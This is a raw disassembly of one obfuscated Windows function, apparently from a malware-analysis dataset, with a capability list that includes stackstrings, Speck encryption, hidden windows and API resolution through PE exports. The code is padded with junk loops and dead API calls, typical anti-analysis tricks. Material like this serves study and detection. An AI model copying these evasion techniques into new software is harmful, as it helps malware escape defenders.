Function at 0x10035360
Capabilities:
Contain obfuscated stackstrings
Encrypt data using speck
Get thread local storage value
Hide graphical window
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008ae76
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x22f8
call fcn.100868a0
push esi
push edi
mov dword [ebp - 0xf0], 0xffffffff
push 3
lea ecx, [ebp - 0x8cc]
call fcn.10022d19
and dword [ebp - 4], 0
mov dword [ebp - 0x8a8], 0x71808adc
push 1
lea ecx, [ebp - 0x1ca4]
call fcn.10022d19
mov byte [ebp - 4], 1
mov dword [ebp - 0xe0], 0
jmp 0x100353d3
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 3
jge 0x100353f5
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x8cc]
call fcn.10022db7
mov dword [eax], 0x2ca8cda2
jmp 0x100353c6
mov dword [ebp - 0xe0], 0
jmp 0x1003540e
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 1
jge 0x10035430
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x1ca4]
call fcn.10022db7
mov dword [eax], 0xe16511c2
jmp 0x10035401
cmp dword [ebp - 0xf0], 0
je 0x1003544e
cmp dword [ebp - 0xf0], 0
je 0x1003544e
mov dword [ebp - 0xde0], 1
jmp 0x10035455
and dword [ebp - 0xde0], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0xde0], eax
jg 0x1003546f
mov dword [ebp - 0x11cc], 1
jmp 0x10035476
and dword [ebp - 0x11cc], 0
mov eax, dword [ebp - 0xf0]
imul eax, dword [ebp - 0x11cc]
shl eax, 1
cmp eax, dword [ebp - 0xf0]
je 0x10035499
mov dword [ebp - 0x860], 1
jmp 0x100354a0
and dword [ebp - 0x860], 0
push 1
lea ecx, [ebp - 0x8cc]
call fcn.10022db7
mov ecx, dword [ebp - 0x860]
mov dword [eax], ecx
mov eax, dword [ebp - 0x860]
add eax, 0x15cc
cmp eax, dword [ebp - 0xf0]
jg 0x100354d4
mov dword [ebp - 0x11d4], 1
jmp 0x100354db
and dword [ebp - 0x11d4], 0
push 0xfffffffffffffffd
pop eax
sub eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0x11d4]
jle 0x100354f8
mov dword [ebp - 0x11dc], 1
jmp 0x100354ff
and dword [ebp - 0x11dc], 0
cmp dword [ebp - 0x11dc], 0x9ebf495e
je 0x100358af
mov dword [ebp - 0x2cc], 0xd9a2b82c
mov dword [ebp - 0x11e4], 0x56d3
mov dword [ebp - 0x1388], 0x1000ae80
cmp dword [ebp - 0x11e4], 0x58e1
jle 0x10035646
and dword [ebp - 0x338], 0
jmp 0x10035553
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x206d
jge 0x10035646
and dword [ebp - 0x758], 0
jmp 0x10035579
mov eax, dword [ebp - 0x758]
inc eax
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x758], 0x1961
jge 0x10035641
and dword [ebp - 0x330], 0
jmp 0x1003559f
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x533d
jge 0x1003563c
and dword [ebp - 0x5f8], 0
jmp 0x100355c5
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0x3972
jge 0x10035637
mov eax, dword [ebp - 0x758]
cdq
idiv dword [ebp - 0x330]
add edx, dword [ebp - 0x5f8]
or edx, dword [ebp - 0x338]
mov eax, edx
cdq
mov dword [ebp - 0x1454], eax
mov dword [ebp - 0x1450], edx
push dword [ebp - 0x1450]
push dword [ebp - 0x1454]
lea ecx, [ebp - 0x21fc]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x1420], eax
mov ecx, dword [ebp - 0x1420]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x21fc]
call fcn.100229d5
jmp 0x100355b8
jmp 0x10035592
jmp 0x1003556c
jmp 0x10035546
mov dword [ebp - 0xdf0], 0
cmp dword [ebp - 0x11e4], 0x55ce
jge 0x10035668
push dword [ebp - 0x1388]
call fcn.10074e83
pop ecx
push 2
lea ecx, [ebp - 0x1954]
call fcn.10022d19
mov byte [ebp - 4], 2
mov dword [ebp - 0x1428], 0xfffffff7
mov dword [ebp - 0x6e8], 0
jmp 0x1003569c
mov eax, dword [ebp - 0x6e8]
inc eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 2
jge 0x100356be
push dword [ebp - 0x6e8]
lea ecx, [ebp - 0x1954]
call fcn.10022db7
mov dword [eax], 0xf0dc4b63
jmp 0x1003568f
push 1
lea ecx, [ebp - 0x8cc]
call fcn.10022db7
imul esi, dword [eax], 0x583e
push 2
lea ecx, [ebp - 0x8cc]
call fcn.10022db7
cmp esi, dword [eax]
jl 0x100356ee
mov dword [ebp - 0x1204], 1
jmp 0x100356f5
and dword [ebp - 0x1204], 0
push 2
lea ecx, [ebp - 0x8cc]
call fcn.10022db7
mov ecx, dword [ebp - 0x1204]
cmp ecx, dword [eax]
je 0x10035718
mov dword [ebp - 0x120c], 1
jmp 0x1003571f
and dword [ebp - 0x120c], 0
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp - 0x120c], eax
jg 0x10035739
mov dword [ebp - 0x1214], 1
jmp 0x10035740
and dword [ebp - 0x1214], 0
cmp dword [ebp - 0x1214], 1
ja 0x10035755
mov dword [ebp - 0x121c], 1
jmp 0x1003575c
and dword [ebp - 0x121c], 0
push 1
lea ecx, [ebp - 0x8cc]
call fcn.10022db7
mov eax, dword [eax]
cmp eax, dword [ebp - 0x121c]
jne 0x1003577f
mov dword [ebp - 0x1224], 1
jmp 0x10035786
and dword [ebp - 0x1224], 0
push 1
lea ecx, [ebp - 0x8cc]
call fcn.10022db7
mov ecx, dword [ebp - 0x2cc]
add ecx, dword [ebp - 0x1224]
mov esi, dword [eax]
add esi, ecx
push 2
lea ecx, [ebp - 0x8cc]
call fcn.10022db7
imul esi, dword [eax]
mov dword [ebp - 0x122c], esi
push 1
lea ecx, [ebp - 0x8cc]
call fcn.10022db7
mov ecx, dword [ebp - 0x122c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x122c], eax
jg 0x100357e8
mov dword [ebp - 0x1234], 1
jmp 0x100357ef
and dword [ebp - 0x1234], 0
mov eax, dword [ebp - 0x1234]
sub eax, dword [ebp - 0x2cc]
je 0x10035812
cmp dword [ebp - 0x8a8], 0
je 0x10035812
mov dword [ebp - 0x123c], 1
jmp 0x10035819
and dword [ebp - 0x123c], 0
mov eax, dword [ebp - 0x2cc]
cmp eax, dword [ebp - 0x123c]
jg 0x10035833
mov dword [ebp - 0x12a0], 1
jmp 0x1003583a
and dword [ebp - 0x12a0], 0
mov eax, dword [ebp - 0x2cc]
cmp eax, dword [ebp - 0x12a0]
jle 0x10035854
mov dword [ebp - 0x127c], 1
jmp 0x1003585b
and dword [ebp - 0x127c], 0
mov eax, dword [ebp - 0x127c]
mov dword [ebp - 0xdf0], eax
mov esi, dword [ebp - 0xdf0]
sub esi, dword [ebp - 0x8a8]
push 0
lea ecx, [ebp - 0x1954]
call fcn.10022db7
mov dword [eax], esi
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x1428], eax
push 0
lea ecx, [ebp - 0x1954]
call fcn.10022db7
or dword [eax], 0xffffffff
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1954]
call fcn.10022d9b
jmp 0x100358cd
mov byte [ebp - 0x1e6], 0
movzx eax, byte [ebp - 0x1e6]
test eax, eax
je 0x100358cd
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
mov byte [ebp - 0x17a], 0
movzx eax, byte [ebp - 0x17a]
test eax, eax
je 0x100358e5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1ca4]
call fcn.10022d9b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8cc]
call fcn.10022d9b
cmp dword [ebp + 0x10], 0
jbe 0x10035bcc
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10035bcc
push 2
lea ecx, [ebp - 0x1cb4]
call fcn.10022d19
mov dword [ebp - 4], 3
mov dword [ebp - 0x2e0], 0x838a1f94
mov dword [ebp - 0x11c4], 0xffffffff
mov dword [ebp - 0x1438], 9
mov dword [ebp - 0x340], 0
jmp 0x10035964
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 2
jge 0x10035986
push dword [ebp - 0x340]
lea ecx, [ebp - 0x1cb4]
call fcn.10022db7
mov dword [eax], 2
jmp 0x10035957
mov dword [ebp - 0x2e0], 0
jmp 0x1003599f
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 1
jg 0x10035a6c
mov dword [ebp - 0x2dc], 1
mov dword [ebp - 0x2dc], 0
jmp 0x100359cf
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 1
jg 0x10035a67
mov dword [ebp - 0x1430], 0xec752f67
mov dword [ebp - 0x11c4], 0xfffffffc
mov eax, dword [ebp - 0x2e0]
add eax, 9
cmp dword [ebp - 0x11c4], eax
jg 0x10035a0d
mov dword [ebp - 0x910], 1
jmp 0x10035a14
and dword [ebp - 0x910], 0
mov eax, dword [ebp - 0x1430]
cmp dword [ebp - 0x2dc], eax
jge 0x10035a2e
mov dword [ebp - 0x1240], 1
jmp 0x10035a35
and dword [ebp - 0x1240], 0
mov eax, dword [ebp - 0x910]
cmp eax, dword [ebp - 0x1240]
jl 0x10035a4f
mov dword [ebp - 0x918], 1
jmp 0x10035a56
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x1438], eax
jmp 0x100359c2
jmp 0x10035992
mov byte [ebp - 0x17c], 0
mov dword [ebp - 0xdf8], 0x7ed6
mov dword [ebp - 0x1440], 0x1000aed0
cmp dword [ebp - 0xdf8], 0x829d
jle 0x10035b70
and dword [ebp - 0x7b0], 0
jmp 0x10035aad
mov eax, dword [ebp - 0x7b0]
inc eax
mov dword [ebp - 0x7b0], eax
cmp dword [ebp - 0x7b0], 0x5e69
jge 0x10035b70
and dword [ebp - 0x600], 0
jmp 0x10035ad3
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0xaa2
jge 0x10035b6b
and dword [ebp - 0x348], 0
jmp 0x10035af9
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x62cd
jge 0x10035b66
and dword [ebp - 0x350], 0
jmp 0x10035b1b
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x71f9
jge 0x10035b64
mov eax, dword [ebp - 0x600]
sub eax, dword [ebp - 0x348]
xor eax, dword [ebp - 0x7b0]
or eax, dword [ebp - 0x350]
cdq
mov dword [ebp - 0x1460], eax
mov dword [ebp - 0x145c], edx
push dword [ebp - 0x145c]
push dword [ebp - 0x1460]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x10035b0e
jmp 0x10035aec
jmp 0x10035ac6
jmp 0x10035aa0
movzx eax, byte [ebp - 0x17c]
test eax, eax
je 0x10035b8d
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToUnicode]
cmp dword [ebp - 0xdf8], 0x7b70
jge 0x10035ba9
mov edx, dword [ebp - 0x1440]
mov ecx, 0x1008fbf8
call fcn.1002574f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1cb4]
call fcn.10022d9b
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1002f7f4
pop ecx
pop ecx
jmp 0x10044bd0
mov dword [ebp - 0x608], 0x4fd3df75
mov dword [ebp - 0x1354], 0xed1ad67a
mov dword [ebp - 0x1350], 0xed1ad67a
mov dword [ebp - 0x134c], 0xed1ad67a
mov dword [ebp - 0x1348], 0xed1ad67a
mov dword [ebp - 0x608], 2
jmp 0x10035c17
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 4
jle 0x100360fa
push 2
lea ecx, [ebp - 0x900]
call fcn.10022d19
mov dword [ebp - 4], 4
mov dword [ebp - 0x264], 0x3498e64e
mov dword [ebp - 0x358], 0
jmp 0x10035c5b
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 2
jge 0x10035c7d
push dword [ebp - 0x358]
lea ecx, [ebp - 0x900]
call fcn.10022db7
mov dword [eax], 4
jmp 0x10035c4e
push 1
lea ecx, [ebp - 0x900]
call fcn.10022db7
and dword [eax], 0
jmp 0x10035cb3
push 1
lea ecx, [ebp - 0x900]
call fcn.10022db7
mov dword [ebp - 0x920], eax
mov eax, dword [ebp - 0x920]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x920]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x900]
call fcn.10022db7
cmp dword [eax], 0xffffffe4
jle 0x10035d00
mov dword [ebp - 0x1448], 0x4ad72d76
mov byte [ebp - 0x17e], 0
movzx eax, byte [ebp - 0x17e]
test eax, eax
je 0x10035ceb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1448]
mov dword [ebp + eax - 0x1354], ecx
jmp 0x10035c8f
mov dword [ebp - 0x264], 0
jmp 0x10035d19
mov eax, dword [ebp - 0x264]
dec eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0xfffffff7
jge 0x100360e6
mov dword [ebp - 0xa8], 1
mov dword [ebp - 0x1068], 0x1a1d
mov dword [ebp - 0x17c8], 0x1000af00
cmp dword [ebp - 0x1068], 0x1a3a
jle 0x10035e31
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
and dword [ebp - 0x6f0], 0
jmp 0x10035d72
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 0x6d6e
jge 0x10035e31
and dword [ebp - 0x360], 0
jmp 0x10035d98
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x5dec
jge 0x10035e2c
and dword [ebp - 0x450], 0
jmp 0x10035dbe
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0x5a51
jge 0x10035e27
mov eax, dword [ebp - 0x6f0]
sub eax, dword [ebp - 0x360]
sub eax, dword [ebp - 0x450]
cdq
mov dword [ebp - 0x146c], eax
mov dword [ebp - 0x1468], edx
push dword [ebp - 0x1468]
push dword [ebp - 0x146c]
lea ecx, [ebp - 0x22d4]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x17c0], eax
mov ecx, dword [ebp - 0x17c0]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x22d4]
call fcn.100229d5
jmp 0x10035db1
jmp 0x10035d8b
jmp 0x10035d65
mov dword [ebp - 0x17e8], 0
cmp dword [ebp - 0x1068], 0x1955
jge 0x10035e53
push dword [ebp - 0x17c8]
call fcn.10074e83
pop ecx
mov dword [ebp - 0xa8], 1
jmp 0x10035e6c
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jl 0x100360d0
mov dword [ebp - 0x2a4], 0x5ef889a2
mov dword [ebp - 0x2a4], 0
jmp 0x10035e9c
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 3
jg 0x10035fd8
mov dword [ebp - 0x928], 0x2a7f
mov dword [ebp - 0x17d8], 0x1000af60
cmp dword [ebp - 0x928], 0x2bfb
jle 0x10035f6d
and dword [ebp - 0x368], 0
jmp 0x10035ee3
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x5bf8
jge 0x10035f6d
and dword [ebp - 0x454], 0
jmp 0x10035f05
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 0x6ca5
jge 0x10035f68
mov eax, dword [ebp - 0x368]
xor eax, dword [ebp - 0x454]
cdq
mov dword [ebp - 0x1478], eax
mov dword [ebp - 0x1474], edx
push dword [ebp - 0x1474]
push dword [ebp - 0x1478]
lea ecx, [ebp - 0x2304]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x17d0], eax
mov ecx, dword [ebp - 0x17d0]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x2304]
call fcn.100229d5
jmp 0x10035ef8
jmp 0x10035ed6
mov dword [ebp - 0x2d8], 0xedac7a8
cmp dword [ebp - 0x928], 0x28b0
jge 0x10035f8f
push dword [ebp - 0x17d8]
call fcn.10074e83
pop ecx
mov dword [ebp - 0x2d8], 0
jmp 0x10035fa8
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 1
jg 0x10035fd3
push dword [ebp - 0x2d8]
lea ecx, [ebp - 0x900]
call fcn.10022db7
mov ecx, dword [ebp - 0x2a4]
mov eax, dword [eax]
mov dword [ebp + ecx*4 - 0x1354], eax
jmp 0x10035f9b
jmp 0x10035e8f
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x900]
call fcn.10022db7
mov ecx, dword [ebp - 0x264]
cmp dword [eax], ecx
jle 0x10035fff
mov dword [ebp - 0x17e0], 1
jmp 0x10036006
and dword [ebp - 0x17e0], 0
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x900]
call fcn.10022db7
mov eax, dword [ebp - 0x17e8]
sub eax, 0x289c089c
jne 0x10036036
mov eax, 0xffff
test eax, eax
jne 0x10036036
and dword [ebp - 0xe00], 0
jmp 0x10036040
mov dword [ebp - 0xe00], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1354]
cmp dword [ebp - 0xe00], eax
jl 0x10036061
mov dword [ebp - 0x930], 1
jmp 0x10036068
and dword [ebp - 0x930], 0
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x900]
call fcn.10022db7
mov ecx, dword [ebp - 0x930]
cmp ecx, dword [eax]
jge 0x1003608f
mov dword [ebp - 0x11a0], 1
jmp 0x10036096
and dword [ebp - 0x11a0], 0
mov eax, dword [ebp - 0x11a0]
inc eax
cmp eax, dword [ebp - 0xa8]
jge 0x100360b1
mov dword [ebp - 0x938], 1
jmp 0x100360b8
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x938]
mov dword [ebp + eax*4 - 0x1354], ecx
jmp 0x10035e5f
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1354], 0x5f321ee0
jmp 0x10035d0c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x900]
call fcn.10022d9b
jmp 0x10035c0a
cmp dword [ebp + 0x10], 0
jne 0x1003c8bb
mov dword [ebp - 0x958], 0xffff
mov dword [ebp - 0x7e4], 0x98aac1e0
mov dword [ebp - 0x1810], 0
mov dword [ebp - 0xe08], 0xb70
mov dword [ebp - 0x17f0], 0x1000afc8
cmp dword [ebp - 0xe08], 0xc4b
jle 0x10036227
push 0
call dword [sym.imp.GDI32.dll_GetBkMode]
and dword [ebp - 0x378], 0
jmp 0x10036164
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0x71ea
jge 0x10036227
and dword [ebp - 0x370], 0
jmp 0x1003618a
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x2039
jge 0x10036222
and dword [ebp - 0x45c], 0
jmp 0x100361b0
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0x462a
jge 0x1003621d
and dword [ebp - 0x464], 0
jmp 0x100361d2
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0x5e31
jge 0x1003621b
mov eax, dword [ebp - 0x370]
add eax, dword [ebp - 0x45c]
xor eax, dword [ebp - 0x378]
or eax, dword [ebp - 0x464]
cdq
mov dword [ebp - 0x1484], eax
mov dword [ebp - 0x1480], edx
push dword [ebp - 0x1480]
push dword [ebp - 0x1484]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x100361c5
jmp 0x100361a3
jmp 0x1003617d
jmp 0x10036157
cmp dword [ebp - 0xe08], 0xa87
jge 0x10036243
mov edx, dword [ebp - 0x17f0]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov dword [ebp - 0x940], 0x736c
mov dword [ebp - 0x17f8], 0x1000b014
cmp dword [ebp - 0x940], 0x7719
jle 0x10036340
and dword [ebp - 0x380], 0
jmp 0x1003627d
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x2f94
jge 0x10036340
and dword [ebp - 0x46c], 0
jmp 0x100362a3
mov eax, dword [ebp - 0x46c]
inc eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0x6814
jge 0x1003633b
and dword [ebp - 0x388], 0
jmp 0x100362c9
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x31f1
jge 0x10036336
and dword [ebp - 0x474], 0
jmp 0x100362eb
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0x7f34
jge 0x10036334
mov eax, dword [ebp - 0x380]
add eax, dword [ebp - 0x46c]
sub eax, dword [ebp - 0x388]
and eax, dword [ebp - 0x474]
cdq
mov dword [ebp - 0x1490], eax
mov dword [ebp - 0x148c], edx
push dword [ebp - 0x148c]
push dword [ebp - 0x1490]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x100362de
jmp 0x100362bc
jmp 0x10036296
jmp 0x10036270
mov dword [ebp - 0xc8], 0
jmp 0x10036359
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jge 0x10036375
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0x1ec], 0xffffffff
jmp 0x1003634c
cmp dword [ebp - 0x940], 0x7032
jge 0x10036391
mov edx, dword [ebp - 0x17f8]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov dword [ebp - 0xc8], 0
jmp 0x100363aa
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jge 0x100363c6
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0x1eb0], 7
jmp 0x1003639d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1ec], 0
jmp 0x100363f4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ec]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1ec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1ec], 0xfffffff0
jg 0x1003671f
mov dword [ebp - 0x948], 0xd2717f40
mov dword [ebp - 0x3a0], 0x3ba6aed1
mov dword [ebp - 0x390], 0
jmp 0x10036435
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 1
jge 0x10036451
mov eax, dword [ebp - 0x390]
mov dword [ebp + eax*4 - 0x190], 0xfffffffd
jmp 0x10036428
mov dword [ebp - 0x1078], 0x1a6d
mov dword [ebp - 0x1818], 0x1000b048
cmp dword [ebp - 0x1078], 0x1cb5
jle 0x1003654c
and dword [ebp - 0x484], 0
jmp 0x1003648b
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0x579f
jge 0x1003654c
and dword [ebp - 0x47c], 0
jmp 0x100364b1
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 0x3763
jge 0x10036547
and dword [ebp - 0x398], 0
jmp 0x100364d7
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x25fc
jge 0x10036542
mov eax, dword [ebp - 0x47c]
mov ecx, dword [ebp - 0x398]
shl eax, cl
xor eax, dword [ebp - 0x484]
cdq
mov dword [ebp - 0x149c], eax
mov dword [ebp - 0x1498], edx
push dword [ebp - 0x1498]
push dword [ebp - 0x149c]
lea ecx, [ebp - 0x22ec]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x1800], eax
mov ecx, dword [ebp - 0x1800]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x22ec]
call fcn.100229d5
jmp 0x100364ca
jmp 0x100364a4
jmp 0x1003647e
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x100366a5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x190]
mov dword [ebp - 0x1b94], eax
mov eax, dword [ebp - 0x958]
mov dword [ebp - 0x1ba0], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x190]
cmp dword [ebp + eax - 0x1ec], ecx
jne 0x1003659e
mov dword [ebp - 0x1070], 1
jmp 0x100365a5
and dword [ebp - 0x1070], 0
mov eax, dword [ebp - 0x1070]
mov dword [ebp - 0x948], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x948]
mov dword [ebp + eax - 0x1eb0], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x190]
mov dword [ebp - 0x1e84], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3a0]
cmp dword [ebp + eax - 0x190], ecx
jl 0x100365f8
mov dword [ebp - 0xe10], 1
jmp 0x100365ff
and dword [ebp - 0xe10], 0
imul eax, dword [ebp - 0xe10], 0xbb08
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x190]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1ec]
jg 0x10036632
mov dword [ebp - 0x950], 1
jmp 0x10036639
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x950], eax
jle 0x10036653
mov dword [ebp - 0x1288], 1
jmp 0x1003665a
and dword [ebp - 0x1288], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x190]
add eax, dword [ebp - 0x1288]
imul eax, eax, 0x51d
imul eax, dword [ebp - 0x958]
cmp eax, 0xffffffff
je 0x1003668b
mov dword [ebp - 0xe18], 1
jmp 0x10036692
and dword [ebp - 0xe18], 0
mov eax, dword [ebp - 0xe18]
mov dword [ebp - 0x7e4], eax
cmp dword [ebp - 0x7e4], 0
mov eax, 0x5674
cmp eax, 5
jle 0x100366bb
mov dword [ebp - 0x960], 1
jmp 0x100366c2
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x960]
mov dword [ebp - 0x3a0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x190]
cmp dword [ebp - 0x3a0], eax
jge 0x100366ef
mov dword [ebp - 0x1808], 1
jmp 0x100366f6
and dword [ebp - 0x1808], 0
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x1810], eax
cmp dword [ebp - 0x1078], 0x1922
jge 0x1003671a
push dword [ebp - 0x1818]
call fcn.10074e83
pop ecx
jmp 0x100363d9
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.100266ae
mov dword [ebp - 0x62c], eax
mov dword [ebp - 0x8c], 0xac204e2
push 4
lea ecx, [ebp - 0x1b2c]
call fcn.10022d19
mov dword [ebp - 4], 5
mov dword [ebp - 0x48c], 0
jmp 0x10036767
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 4
jge 0x10036789
push dword [ebp - 0x48c]
lea ecx, [ebp - 0x1b2c]
call fcn.10022db7
mov dword [eax], 0x7ca0029b
jmp 0x1003675a
mov dword [ebp - 0x8c], 0xfffffffd
jmp 0x100367a2
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jle 0x100367b8
cmp dword [ebp - 0x8c], 0
je 0x100367b6
jmp 0x100367b8
jmp 0x10036795
mov dword [ebp - 0x8c], 0
jmp 0x100367d1
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 4
jge 0x100367f3
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x1b2c]
call fcn.10022db7
mov dword [eax], 0x7f0a290b
jmp 0x100367c4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b2c]
call fcn.10022d9b
